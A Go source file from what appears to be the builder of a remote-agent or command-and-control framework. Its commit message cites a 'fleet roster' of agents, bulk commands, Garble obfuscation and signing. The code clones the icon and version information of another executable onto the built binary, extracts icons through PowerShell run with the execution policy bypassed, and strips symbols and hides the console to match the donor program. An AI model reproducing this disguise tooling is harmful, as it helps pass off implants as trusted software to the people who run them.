Fusion copies prep icon and version info via go-winres; optional Garble obfuscation, Authenticode signing, and dry-run size estimates. Forge Simple mode with smart defaults; fleet roster gets compact expandable cards, filters, bulk commands, per-agent notes/tags, and typed WebSocket payloads.
140 lines
3.8 KiB
Go
140 lines
3.8 KiB
Go
//go:build windows
|
|
|
|
package builder
|
|
|
|
import (
|
|
"encoding/json"
|
|
"fmt"
|
|
"log"
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
"strings"
|
|
)
|
|
|
|
// applyPrepResourcesToEXE copies icon + version info from prepPath onto exePath (post-build).
|
|
func (h *Handler) applyPrepResourcesToEXE(prepPath, exePath string) error {
|
|
if err := h.patchEXEResourcesFromPrepExtract(prepPath, exePath); err == nil {
|
|
log.Printf("[Fusion] Applied icon + version info from %s", filepath.Base(prepPath))
|
|
return nil
|
|
} else {
|
|
log.Printf("[Fusion] resource extract/patch failed, trying icon fallback: %v", err)
|
|
}
|
|
if err := h.patchEXEWithExtractedICO(prepPath, exePath); err == nil {
|
|
log.Printf("[Fusion] Applied icon from %s (fallback ico)", filepath.Base(prepPath))
|
|
return nil
|
|
}
|
|
return fmt.Errorf("could not copy icon/resources from prep exe")
|
|
}
|
|
|
|
func (h *Handler) patchEXEResourcesFromPrepExtract(prepPath, exePath string) error {
|
|
workDir, err := os.MkdirTemp(filepath.Dir(exePath), "prep-resources-*")
|
|
if err != nil {
|
|
return err
|
|
}
|
|
defer os.RemoveAll(workDir)
|
|
|
|
if _, err := h.runGoWinres("", "extract", "--dir", workDir, prepPath); err != nil {
|
|
return err
|
|
}
|
|
|
|
filteredJSON, err := writeIconAndVersionWinresJSON(filepath.Join(workDir, "winres.json"))
|
|
if err != nil {
|
|
return err
|
|
}
|
|
|
|
if _, err := h.runGoWinres(filepath.Dir(filteredJSON), "patch", "--in", filteredJSON, "--no-backup", exePath); err != nil {
|
|
return err
|
|
}
|
|
return nil
|
|
}
|
|
|
|
func (h *Handler) patchEXEWithExtractedICO(prepPath, exePath string) error {
|
|
workDir, err := os.MkdirTemp(filepath.Dir(exePath), "prep-ico-*")
|
|
if err != nil {
|
|
return err
|
|
}
|
|
defer os.RemoveAll(workDir)
|
|
|
|
iconPath := filepath.Join(workDir, "prep-icon.ico")
|
|
if err := extractIconFromEXE(prepPath, iconPath); err != nil {
|
|
return err
|
|
}
|
|
|
|
doc := map[string]any{
|
|
"RT_GROUP_ICON": map[string]any{
|
|
"APP": map[string]any{
|
|
"0409": "prep-icon.ico",
|
|
},
|
|
},
|
|
}
|
|
jsonPath := filepath.Join(workDir, "icons-only.json")
|
|
raw, err := json.MarshalIndent(doc, "", " ")
|
|
if err != nil {
|
|
return err
|
|
}
|
|
if err := os.WriteFile(jsonPath, raw, 0644); err != nil {
|
|
return err
|
|
}
|
|
|
|
if _, err := h.runGoWinres(workDir, "patch", "--in", jsonPath, "--no-backup", exePath); err != nil {
|
|
return err
|
|
}
|
|
return nil
|
|
}
|
|
|
|
// extractIconFromEXE writes the primary icon from a Windows PE file to a .ico path.
|
|
func extractIconFromEXE(exePath, icoPath string) error {
|
|
exeEsc := strings.ReplaceAll(exePath, `'`, `''`)
|
|
icoEsc := strings.ReplaceAll(icoPath, `'`, `''`)
|
|
script := fmt.Sprintf(`
|
|
$ErrorActionPreference = 'Stop'
|
|
Add-Type -AssemblyName System.Drawing
|
|
$icon = [System.Drawing.Icon]::ExtractAssociatedIcon('%s')
|
|
if ($null -eq $icon) { throw 'no icon on executable' }
|
|
$dir = Split-Path -Parent '%s'
|
|
if ($dir -and -not (Test-Path $dir)) { New-Item -ItemType Directory -Path $dir -Force | Out-Null }
|
|
$fs = [System.IO.File]::Create('%s')
|
|
$icon.Save($fs)
|
|
$fs.Close()
|
|
`, exeEsc, icoEsc, icoEsc)
|
|
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
|
|
out, err := cmd.CombinedOutput()
|
|
if err != nil {
|
|
return fmt.Errorf("extract icon: %w (%s)", err, strings.TrimSpace(string(out)))
|
|
}
|
|
if _, err := os.Stat(icoPath); err != nil {
|
|
return fmt.Errorf("icon file not created: %w", err)
|
|
}
|
|
return nil
|
|
}
|
|
|
|
func (h *Handler) prepareFusionWinres(fusionDir, prepPath string) error {
|
|
return nil
|
|
}
|
|
|
|
func peSubsystem(exePath string) int {
|
|
data, err := os.ReadFile(exePath)
|
|
if err != nil || len(data) < 128 {
|
|
return 2
|
|
}
|
|
peOff := int(uint32(data[0x3c]) | uint32(data[0x3d])<<8 | uint32(data[0x3e])<<16 | uint32(data[0x3f])<<24)
|
|
if peOff+24+68+2 > len(data) {
|
|
return 2
|
|
}
|
|
if string(data[peOff:peOff+4]) != "PE\x00\x00" {
|
|
return 2
|
|
}
|
|
opt := peOff + 24
|
|
sub := int(uint16(data[opt+68]) | uint16(data[opt+69])<<8)
|
|
return sub
|
|
}
|
|
|
|
func fusionLdflags(prepPath string) string {
|
|
flags := "-s -w"
|
|
if peSubsystem(prepPath) == 2 {
|
|
flags += " -H windowsgui"
|
|
}
|
|
return flags
|
|
}
|